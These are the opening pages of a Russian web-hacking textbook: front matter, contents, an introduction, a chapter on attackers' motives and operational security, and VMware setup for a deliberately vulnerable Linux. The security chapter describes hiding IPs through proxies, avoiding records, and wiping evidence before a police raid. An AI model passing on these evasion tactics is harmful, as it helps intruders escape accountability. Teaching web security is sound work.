You are on page 1of 176

2

3

52 Все права защищены.52 Ж85 Ж85 Жуков Ю. приведенная в данной книге может быть использована только в ознакомительных и учебных целях.: ил. — СПб. имея в виду возможные человеческие или технические ошибки. приведшее к нарушению закона. работающих на локальном компьютере пользователя под управлением виртуальной машины в ОС Windows. получена из источников. ББК 32. © ООО Издательство «Питер». содержащаяся в данной книге.ББК 32.738. 2011.988-018-07 УДК 004. Издательство не несет ответственности за неправомерное использование читателями полученной информации. издательство не может гарантировать абсолютную точность и полноту приводимых сведений и не несет ответственности за возможные ошибки.988-018-07 УДК 004. рассматриваемых издательством как надежные. ISBN 978-5-4237-0184-0 Книга для всех интересующихся хакингом веб-сайтов. Информация. уже имеющихся в тестовой системе. 2011 ISBN 978-5-4237-0184-0 4 . Тем не менее. Информация. Работа ведется в двух хакерских дистрибутивах Linux — Damn Vulnerable Linux и Back Track 4. с параллельным освещением аспектов надежной защиты. Изложение построено на учебных примерах. которые пользователь создает на своем компьютере.: Питер. Никакая часть данной книги не может быть воспроизведена в какой бы то ни было форме без письменного разрешения владельцев авторских прав. В. связанные с использованием книги. и реальных уязвимостях широко распространенных бесплатных движков сайтов. — 176 с.738. Основы веб-хакинга: нападение и защита (+DVD).

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 144 Приложение 4. . . Удаленные эксплойты . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Ведение . . . . . . . . . . . . Локальный взлом паролей . . . . . . . . . . . . . . . . . . . . . . . . . . . Удаленный подбор паролей . . . . . . . . . . . . . . . . . . . Противодействие хакерам . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 59 07. . . . 155 Приложение 7. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Хакерский словарик . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 88 0B. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Сокрытие следов присутствия . . . . . . . . . . . . . . . . Подготовка . . . . Межсайтовый скриптинг . . Реализация SQL-инъекций в MS SQL Jet . . . 11 01. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 138 Приложение 2. . . . . .php . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . SQL-инъекция . . Основы веб-хакинга . . . . . . Повышение привилегий . . . . . . . . . . 157 Приложение 8. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 158 Приложение 9. . . . . . . . . . . . . . Использование готового эксплойта для SQL-инъекции в форуме Cyphor . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12 02. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 70 08. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 128 13. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31 05. . . . . . . . . . . . . . 122 10. . . . . . . . 124 11. . . . . . . . . . . . . 94 0C. . . . . . . Новые возможности PHP-инклуда . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 118 0F. . . . . . . . . . . . . . . Получение имен таблиц и данных через слепую SQL-инъекцию в MS Access . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Основные *nix-команды . Переустановка пароля администратора и угадывание его в instantCMS . Приступая к работе . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 131 Приложение 1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .Краткое содержание 00. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 161 Приложение 10. . CRLF-инклуд . . . 16 Часть II. . . . . . Слепая SQL-инъекция . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . PHP-инклуд . . . . . Что дальше?. . . . 102 0D. . Получение полноценного доступа к шеллу . . . . . . . . . Первый взлом . . . 140 Приложение 3. . . . 47 06. . . . . . . . . . . . . . . 9 Часть I. . . . 152 Приложение 6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25 03. . . . . . . . . . . . . . . . . . . Быстрые методы слепой SQL-инъекции . . . . . . . . . 109 0E. . . . . . . . Исследование системы . . . . . . . . . . . . . . . . . . . . . Реальные задачи IT-безопасности . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .php форума Cyphor . . . . . . . . . . . . . . . . . 87 0A. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . SQL-инъекции в модуле show. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Усовершенствованный текст эксплойта nabopoll. . . . . . . 26 04. . . . О хакинге и хакерах . . . . . 126 12. . . . . . 86 Часть III. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 83 09. . . . . . . . . . . Алгоритмы получения контроля над сервером . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Взлом паролей пользователей форума Cyphor . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 150 Приложение 5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 166 5 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . 45 05. . . 61 Пример мини-приложения. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31 Локальный PHP-инклуд . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Ведение . . . . . . . . . . . . . . . . . . . . . . . . . ПРИСТУПАЯ К РАБОТЕ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 59 Области применения XSS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26 04. . . 16 ЧАСТЬ II. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Подготовка . . . . . . . . . . . . . . . 58 06. . . . . . . . . . . . . . . . . . . . . . . . . . . . 35 Реальный пример PHP-инклуда — движок NaboPoll . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31 Удаленный PHP-инклуд . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 54 Защита от SQL-инъекции . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 44 Защита от локального инклуда . . . . . . . . . . . . . . . SQL-инъекция . . . . . . . . . . . . . . . . . . . . . . 11 01. 47 Получение информации из базы данных . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25 03. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12 Зачем хакеры взламывают веб-сайты . . . . . . . . . . . . . . . . . . . . 40 Создание хакерского веб-шелла в логах Apache через локальный инклуд . . . . . . . . . . . . . . . . . . . . . . . 12 Собственная безопасность хакера . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 53 Создание веб-шелла . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . PHP-инклуд . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14 02. . . 60 Активный межсайтовый скриптинг . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9 Для кого эта книга . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10 ЧАСТЬ I. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9 От издательства . . . . . . . . . . . . . . . . . . . . . . . Межсайтовый скриптинг . . . . . . . . 41 Реальное местоположение логов . . . Первый взлом . . . . . . . . . . . . . . . . . О хакинге и хакерах . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 44 Защита от удаленного инклуда . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . уязвимого для XSS . . . . . . . . . . 59 Пассивный межсайтовый скриптинг . . . . . . . . . . . . 9 Об авторе . . . . . . . . . . . . . . . . . . . . . . . 56 Решение проблем с кодировкой . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .Содержание 00. . . . . . . . . . . . . . ОСНОВЫ ВЕБ-ХАКИНГА . . . . . 67 6 . . . . . . . . . . . . . . . . . 62 Как хакеры обходят механизм фильтрации тега <script> . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 105 Взлом MD5-хэшей . . . . . . 71 Угадывание имен таблиц . . . . . . . . . . . . . . 118 0F. . . . . . . . . . . . . . . . . . . . . . . . . . . . . 72 Извлечение данных из найденных таблиц/столбцов . . . . . . . . . . . . . . . 131 Использование инсайдерской информации для взлома пароля . . . . . . . . . . 102 Взлом хэшей паролей *nix-систем . . . . . 84 09. . . . . . . . . . . . . 126 12. . . . . . . . . . . . . ЧТО ДАЛЬШЕ? . . . . . Удаленный подбор паролей . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Сокрытие следов присутствия . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Исследование системы . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 80 Использование временных задержек . . . 144 7 . . SQL-инъекции в модуле show. . . . 84 Инклуд почтового сообщения . . 73 Слепая SQL-инъекция в движке NaboPoll . . . . Взлом паролей пользователей форума Cyphor . 83 Инъекция в файл /proc/self/environ . . Локальный взлом паролей . . . . . Противодействие хакерам . . . . . 74 Автоматизация механизма извлечения данных . . . . . . . . . . . . . . . . . . . . . . . . . 102 Особенности взлома LDAP-паролей . . . . . . . . . . . . . . . . . . . . . 71 Проверка возможности доступа к таблице mysql. . . . . . . . . . . . . . . . 138 Приложение 2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .user . . . . . . . . . . . . . . . 106 0D. . 88 0B. . . . 79 Поиск уязвимых сайтов . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 131 ICQ и работа для частного детектива . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 81 08. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 70 Получение номера версии MySQL с помощью переменной @@version . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 87 0A. . . . . . Алгоритмы получения контроля над сервером . . 94 0C. . . . . . . . . . . . . . . . . . . . 133 Работа для антихакера. . . . Основные *nix-команды . . . . . . . . . . . . . . . . . Удаленные эксплойты . . . . . . . . . 124 11. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .php форума Cyphor . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 109 0E. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Реальные задачи IT-безопасности . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 140 Приложение 3. . . . . . . . . . . . . . . . . . . Новые возможности PHP-инклуда . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 86 ЧАСТЬ III. . . . . . . . . . . . . . . . . . . . . . . . . . . . Повышение привилегий . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 122 10. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Получение полноценного доступа к шеллу . . . . . . . . . . . или «привет из Бразилии» . 83 Поиск логов сервера Apache . . . . CRLF-инклуд . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .Содержание 7 07. . . . . . . . . 135 Приложение 1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Слепая SQL-инъекция . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 128 13. . . . . . . . . . . . . . . . 72 Угадывание имен столбцов в найденной таблице . .

. . . . 157 Приложение 8. . strlist) . . . . . . . . . . . . . . . . . . . . 152 Приложение 6. . . . . . . . . . . . . . . . . . . . . . . . . . 161 Использование функции find_in_set(substr. . . 150 Приложение 5. . . 163 Приложение 10. . . . . . . . . . . . . . . . . . . . . . . . 155 Приложение 7.php . . . . . . . . . . . . . . . 161 Использование конструкции find_in_set() + more1row . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Усовершенствованный текст эксплойта nabopoll. . . . . . Получение имен таблиц и данных через слепую SQL-инъекцию в MS Access . . . . . . . . . . Быстрые методы слепой SQL-инъекции . . . . . . . . 158 Приложение 9. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Переустановка пароля администратора и угадывание его в instantCMS . . . . . . . . . . . . . . . . . . . . Использование готового эксплойта для SQL-инъекции в форуме Cyphor . . . . . . . . . . . . . . Хакерский словарик . . . . . . . . . . . . . . . . . . 166 8 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .8 Содержание Приложение 4. . . . . . Реализация SQL-инъекций в MS SQL Jet .

очень продвинутого новичка с четкими представлениями о том. будущие специалисты по информационной безопасности). Она пригодится как изучающим методы хакинга (это могут быть. если вы до сих пор не сталкивались с Linux. занимающейся компьютерной безопасностью). кто интересуется вопросами защиты компьютеров. но суть оставалась 9 . После прочтения данной книги и проработки материала вы будете обладать если знаниями не среднего хакера. что в ходе чтения книги у вас не раз будет повод похвастаться новыми навыками перед своей девушкой (или парнем. Навыки программирования приветствуются. но совсем не обязательны. Надеюсь. разумеется. так и начинающим веб-программистам и веб-администраторам. так как это противозаконно. то. Не сомневаюсь. очень редкий случай среди изучающих подобную тематику). ни в коем случае не следует применять полученные знания против реальных систем. обучение ведется на реальных примерах на локальном компьютере. Работа в основном будет вестись с операционной системой Linux (работающей на виртуальной машине в вашей системе Windows).00 Введение Для кого эта книга Эта книга предназначена для всех тех. Единственное исключение — тестирование по письменному договору с заказчиком его сайта на проникновение (если вы работаете в конторе. добавлялись эпитеты вроде «главный». так что. работая администратором в крупном региональном коммерческом банке с 1995 по 1999 год (должности менялись. например. вы получите удовольствие от «взлома» тестовой системы. как защитить свою систему от хакеров. видимо. Об авторе Автор данной книги занимался компьютерной безопасностью. что. по крайней мере. Книга написана в форме самоучителя. у вас есть шанс оценить достоинства этой ОС. если вы — девушка. но. желающим защитить свои сайты от взлома.

Для выполнения изложенных в книге примеров необходимо установить эти дистрибутивы на свой компьютер. упоминаемые в книге. реже — системного администратора. Мы будем рады узнать ваше мнение! Подробную информацию о наших книгах вы найдете на веб-сайте издательства http://www. С 2002 года и по сей день является постоянным читателем журнала «Хакер» (в 2004 году даже занимал призовое место в конкурсе журнала). Также на диске имеется папка «Программы» с некоторыми из упоминаемых в тексте книги программами на языке PHP. От издательства На прилагаемом к книге DVD-диске находится два специальных дистрибутива операционной системы Linix. предложения и вопросы отправляйте по адресу электронной почты comp@piter.10 Введение той же).com. 10 .piter. а именно Damn Vulnerable Linux и Back Track 4. Как программист. Ваши замечания. До и после этого он работал в основном в качестве программиста. лучше это сделать под управлением виртуальной машины. В данный момент увлечение компьютерной безопасностью превратилось в хобби.com (издательство «Питер». компьютерная редакция). можно бесплатно скачать из Интернета по указанным в тексте ссылкам. Все остальные программы. занимался задачами математического анализа сердечного ритма и прикладной криптографии. как описано в главе 02. в частности. Активный участник форумов по компьютерной безопасности и хакингу.

О хакинге и хакерах  02. Подготовка 11 .Часть I Приступая к работе  01.

что. взломщик. — с базой. SunOS. поэтому. в которой содержится огромное количество номеров кредиток. получив контроль над веб-сайтом. Веб-сайты размещаются на сервере.  кража конфиденциальной информации. сможет через него проводить различные действия с атакуемым компьютером. который предоставляет услуги электронной почты. Там. Зачем хакеры взламывают веб-сайты Большинство начинающих хакеров и антихакеров задаются вопросом: «А для чего же нужно взламывать веб-сайты?» Этот вопрос возникает просто из-за недопонимания устройства cайтов. Следовательно. Например. Перечислим основные побудительные причины для взлома веб-сайта:  дефейс (подмена главной страницы сайта). содержащей логины и пароли пользователей. о какой конкретно операционной системе идет речь. где это необходимо. Многие наивно полагают. так как чаще всего сайты общедоступны. Под термином *nix я буду понимать любую Unix-подобную операционную систему (не важно. хакер может получить доступ к командной строке этого сервера. сайт электронного магазина может взаимодействовать с базой данных. Solaris.01 О хакинге и хакерах Сначала договоримся о терминологии. Само проникновение через веб-сайт можно осуществить без особых проблем. а сайт. Linux. Под термином Windows я буду понимать любую из операционных систем компании Microsoft для рабочих станций или серверов. можно найти лишь веб-странички и больше ничего интересного. OpenBSD. 12 . взломав сайт. я буду уточнять. в названии которой встречается слово «Windows». называется она AIX. но зачастую и с базами данных. Однако веб-сайты работают не только с веб-страницами. HPUX. взломав сайт. NetBSD или как-нибудь еще). FreeBSD. и довольно часто это заканчивается получением прав суперпользователя (то есть полным контролем над сервером).

Дефейс. реже — обманутые клиенты). Мне как-то встретилась в Интернете подробная статья о том. теперь у вас не осталось вопросов по поводу мотивации хакеров к взлому сайтов. 13 . скопировав базу какого-нибудь почтового сервера. При этом нельзя забывать. Главную страницу сайта можно заменить простой страничкой с надписью «Hacked by имя хакера». Я думаю. взломав самодельную веб-страничку начинающего пользователя. он получил доступ к конфиденциальной информации. кроме того. (Позже мы поговорим о дефейсе подробнее. Чаще всего захваченный сервер либо используют в своих целях. либо просто продают другим хакерам. Зачастую. Под полным контролем подразумевается получение прав администратора (для Windows) или суперпользователя (для *nix). Есть люди. Например.Зачем хакеры взламывают веб-сайты 13  получение полного контроля над сервером. никто не застрахован от взлома.  месть (чаще всего этим занимаются уволенные сотрудники. в том числе и к своему счету. а просто написал администрации банка о недостатках в системе безопасности. например. Соответственно.) Кража конфиденциальной информации. является второй по популярности после дефейса. которая обслуживает сотни сайтов и тысячи почтовых ящиков. хакер может продать ее спамерам. Еще пример: несколько лет назад я прочитал в журнале «Хакер» о том. иногда — юмористического характера. Это дало ему возможность мгновенно «погасить» взятый кредит. для взлома паролей или сканирования других серверов. Рассмотрим его подробнее. что на месте такой компании вполне может оказаться сайт правительственной организации или крупного банка. хакер получает контроль над сервером крупной хостинговой компании. но он ничего не стал трогать. как искусство. как один российский хакер по заказу клиентов стащил с сервера научного института одной из европейских держав новейшие данные исследований по генной инженерии. Далее хакер может использовать компьютер. Эта цель. Получение полного контроля над сервером. д. В результате такого дефейса на главной странице появляются красиво оформленные картинки. он может развернуть на захваченной машине прокси-сервер для своих нужд. Однако иногда путем дефейса сайта пытаются пропагандировать определенные политические лозунги (антивоенные. Как вы поняли. исламистские и т. Чаще всего конфиденциальную информацию крадут с целью ее продажи. что-то вроде граффити в Интернете. которым просто нравится дефейс. вероятно. Этот список — далеко не полный.). как клиент одного из банков ближнего зарубежья (системный администратор по профессии) из мести за нечестное поведение банкиров взломал сайт банка и затем получил доступ к локальной сети банка. Месть.

и убедиться. VPN). Однако такой прокси не скрывает. чтобы не быть пойманными. но вам не надо ничего настраивать. подобные SocksChain производства фирмы Ufasoft. просто в соответствующей строке на страничке анонимайзера вы вводите адрес просматриваемого сайта. В этом случае достаточно задействовать анонимайзер. О применении VPN можно прочитать в журнале «Хакер» либо в Интернете. если на определенный сайт не пускают пользователей из домена . Для простых пользователей можно вместо прокси порекомендовать специальные сайты в Сети — анонимайзеры. а не ваш реальный адрес. Поэтому многие хакеры лично устанавливают программы-прокси на взломанные ими серверы в Интернете. что там отображается адрес прокси. к примеру удаленные переборщики паролей. Анонимайзер может пригодиться. который вы используете. по которым можно установить. являясь наилучшим с точки зрения достижения анонимности в Сети. а потом работают только через эти прокси. они поддерживают шифрование данных и позволяют работать с любым портом (то есть через VPN могут действовать абсолютно любые приложения). к примеру американский анонимайзер www. В то же время даже элитные серверы часто ведут логи (журналы). никаких переговоров по хакерским вопросам по 14 . Однако сейчас вместо прокси широко используются виртуальные частные сети (Virtual Private Network. что правоохранительные органы специально создают контролируемые ими прокси-серверы. Большинство хакерских программ для Интернета. Элитный прокси вообще не выдает своего присутствия. которые в запрос к сайту подставляют свой адрес вместо адреса клиента (в данном случае — хакера). может оказаться хакерским! И тогда все введенные через него пароли к сайтам или почте окажутся добычей врага. и он открывается в том же окне. О хакинге и хакерах Собственная безопасность хакера Реальные хакеры. есть соответствующая возможность и в обычных веб-браузерах и ftp-клиентах. тщательно скрывают свои IPадреса. кто и когда заходил на прокси-сервер и какие сайты посещал. По запросу free proxy list через поисковик вы можете найти в Сети целый список бесплатных прокси и попробовать использовать один из них в своем браузере. показывающий ваш IP-адрес (например. Разумеется.ru. Только будьте осторожны — прокси. конфигурируют их так. В основе их работы также лежат прокси. позволяют использовать прокси. то есть серверы в Интернете.com. После этого можно зайти на любой сайт. что не выдает адрес клиента конечному сайту.hidemyass. Настоящие хакеры стараются не оставлять и других улик.2ip. чтобы вылавливать хакеров. что клиент работает не напрямую. чтобы логи не велись. Есть информация.14 01. Анонимный прокси отличается тем. а через прокси. Они никогда не ведут никаких записей на бумаге. Еще несколько лет назад это было наилучшим способом обеспечения анонимности. www. В отличие от прокси. Они часто используют прокси-серверы (proxy). ru). Существуют также программы. позволяющие пользователю Интернета работать через целую цепочку прокси.

пока он не достигнет высочайшего уровня мастерства. что полиция. никаких чатов или электронных писем. Это дает хакеру дополнительное время на уничтожение улик в случае опасности. загружаясь со сменного носителя (live-CD) с хакерским дистрибутивом.Собственная безопасность хакера 15 телефону (обычному или сотовому). Они не делятся информацией о своих «победах» даже с близкими людьми. Они никогда не «ломают» сайты со своего рабочего места.edu). даже если выбран приватный режим. Тогда при выключении компьютера все следы исчезают. а практикуется на сайтах третьих стран. Вся информация по хакингу на его компьютере (все хакерские программы. а предпочитает сайты образовательных учреждений (. Операционная система хранит информацию о запускавшихся программах.mil) сайты.gov) и военные (. которые при запуске компьютера ждут в течение нескольких десятков секунд нажатия определенной комбинации клавиш и. Хакер. записи) хранится в одной папке (обычно зашифрованной). Опытный хакер делает дверь в свою квартиру из толстой стали и оснащает мощными замками. Дело в том. Поэтому хакеры часто делают «серьезную работу». отключает свет в квартире хакера в надежде. прежде чем войти. Компьютер хакера (если это не ноутбук) обязательно оснащается мощным источником бесперебойного питания. Обычные браузеры сохраняют историю посещения сайтов. На случай неожиданного ареста существуют также скрытые хакерские программы. чтобы ее было невозможно просто выбить. 15 . что без электричества подозреваемый не успеет уничтожить улики со своего компьютера. При этом он никогда не ломает правительственные (. если за хакером придут из правоохранительных органов. Так легче уничтожить улики. если она не была нажата. не ломает компьютеры в своей стране и дружественных ей странах. уничтожают заданные папки.

vmware. Известными брендами среди виртуальных машин являются VMware и VirtualBox. могут и должны выполняться на локальном компьютере начинающего хакера (антихакера). Для активации программы требуется всего лишь зарегистрироваться на сайте VMware.org.5. Что это такое? Это такая программа (в нашем случае работающая под управлением Windows). DVL находится на загрузочном сменном носителе (live-CD). Поэтому мы будем использовать виртуальную машину.VMware. В качестве виртуальной машины вам я рекомендую бесплатный пакет VMware Player. а загрузить с сайта www. Прочитать (по-английски) о нем можно на сайте разработчиков www. Для работы нам потребуются как минимум два специальных дистрибутива операционной системы Linix. чтобы потом к ней вернуться. Самими авторами он позиционируется как диск для сотрудников информационной безопасности и антибезопасности (читай: хакеров). И на этом виртуальном компьютере может функционировать любая операционная система. то есть как бы создает «компьютер в компьютере». Для примеров в книге я использую DVL версии 1. Рассмотрим их подробнее.damnvulnerablelinux. которая эмулирует компьютер.com/Download. Это удобно для хакеров и антихакеров. потому что не требует установки и не оставляет следов на локальном компьютере.02 Подготовка Все примеры. 16 .com/ products/player/. а именно Damn Vulnerable Linux и Back Track 4. сокращенно DVL) был создан на базе Back Track 2. которая поддерживает ваш процессор. СОВЕТ Оба указанных дистрибутива можно найти на прилагаемом к книге DVD. Его можно бесплатно загрузить с официального сайта разработчиков: www. ведь при каждой новой загрузке такого Линукса любые изменения в файлах теряются. непосредственно с которого и грузится эта операционная система. описанные в данной книге. для наших целей его будет вполне достаточно. Дистрибутив Damn Vulnerable Linux («Чертовски Уязвимый Линукс». потому что обучаемому иногда приходится приостанавливать работу. Однако это не очень хорошо для целей обучения.

СОВЕТ Когда будете устанавливать BT4 под VMware. Окно программы VMware Player после запуска 17 . при создании виртуальной машины в качестве версии операционной системы выбирайте вариант Linux Ubuntu.x kernel (другой Линукс. Также советую увеличить память этой виртуальной машины до максимально рекомендуемой программой VMVare.backtrack-linux. кто понимает английский и кто знает основы Linux. Его можно совершенно бесплатно загрузить с сайта www.org/downloads/. при создании виртуальной машины в качестве версии операционной системы выбирайте вариант Other Linux 2. Тот.Подготовка 17 СОВЕТ Когда будете устанавливать DVL под VMware. Рис.1. кто сам справился с установкой Linux под виртуальной машиной. ядро 2.6.6). Для остальных приведу здесь инструкции по установке и скриншоты. может сразу переходить к следующей главе. Второй дистрибутив — это Back Track 4. или хотя бы до 512 Мбайт. 02.

4.2.4) введите имя виртуальной машины и задайте ее расположение. Расположение можно оставить по умолчанию.2.5. Если у вас установлен брандмауэр (как отдельная программа или в составе антивирусного пакета. Вы увидите окно. как показано на рис. и щелкните на кнопке Next. показанное на рис. Это понадобится.18 02. В следующем окне.1.iso. чтобы потом не запутаться в своих виртуальных машинах.3. когда мы с виртуальной машины будем выходить во Всемирную Сеть. щелкнув на кнопке Browse. 1. 18 .5_Infectious_Disease. 02. Подготовка Предположим. Рис. Запустите VMware Player. 02. Задайте параметры так. показанном на рис. Щелкните на кнопке Next. Мастер создания виртуальных машин. что вашим брандмауэром программе VMware Player разрешены любые входящие и исходящие интернет-соединения. например Касперского). 02. то убедитесь. установите переключатель Installer disk image file (iso) и укажите путь к нашему образу Damn Vulnerable Linux. а сам файл называется DVL_1. В этом окне выберите пункт Create a New Virtual Machine (справа). что VMware Player вы уже установили. В следующем окне (рис. 02. а имя я вам советую поменять на DVL или DamnVulnerableLinux. 02. У меня он лежит в папке C:\Damn Vulnerable Linux 1. Далее щелкните на кнопке Next. 2. шаг 1 3.

Максимальный размер диска можно оставить по умолчанию. даже если на вашем жестком диске нет сейчас свободных 8 Гбайт. ничего страшного — система DVL реально 19 . шаг 2 Рис. 02. Мастер создания виртуальных машин. Мастер создания виртуальных машин. Следующее окно мастера показано на рис. шаг 3 5.5. 02.Подготовка 19 Рис. 02.4. потому что.3.

каждый размером до 2 Гбайт. Хотя на данном этапе мастер уже готов к созданию новой виртуальной машины. Поэтому сначала щелкните на кнопке Customize Hardware. не торопитесь щелкать на кнопке Finish (рис 02. хотя это тоже делать не обязательно. пожалуй. я жестко привязал флоппи-диски к имени диска A — по умолчанию здесь был задан вариант Auto detect (автоопределение). На этом. можно щелкать на кнопке OK. Рис. Следующее окно показано на рис. хотя делать это вовсе не обязательно.5. Кроме того. как показано на рисунке. Щелкните здесь на кнопке Finish. Мастер создания виртуальных машин. шаг 4 6. потому что с памятью размером 256 Мбайт машина Damn Vulnerable Linux работает из рук вон плохо. чтобы завершить процесс создания виртуальной машины. превышающих 2 Гбайт. 7. 20 . и вам будет легче переносить виртуальную машину на другой компьютер в случае необходимости.6.7. После этого мы возвратимся к экрану. установите переключатель Split virtual disk into 2 GB files. Тогда система будет храниться не в одном файле. Я настоятельно рекомендую сначала увеличить размер виртуальной памяти хотя бы до 512 Мбайт или более. Также я увеличил количество процессоров до 2 (потому что у меня двухъядерный процессор). а 8 Гбайт — это максимальный размер системы при ее дальнейшем расширении (если вы планируете добавлять в систему новые файлы с дисков или из Интернета).20 02. показанному на рис. 02. Щелкните на кнопке Next. Если вы планируете «разрастание» системы до размеров.6). 02. Как видите. все. Подготовка занимает менее 2 Гбайт. 02. я добавил памяти до максимально рекомендуемого размера (796 Мбайт). а в нескольких.

Мастер создания виртуальных машин.7. шаг 5 Рис. Мастер создания виртуальных машин. 02.Подготовка Рис. шаг 6 21 21 .6. 02.

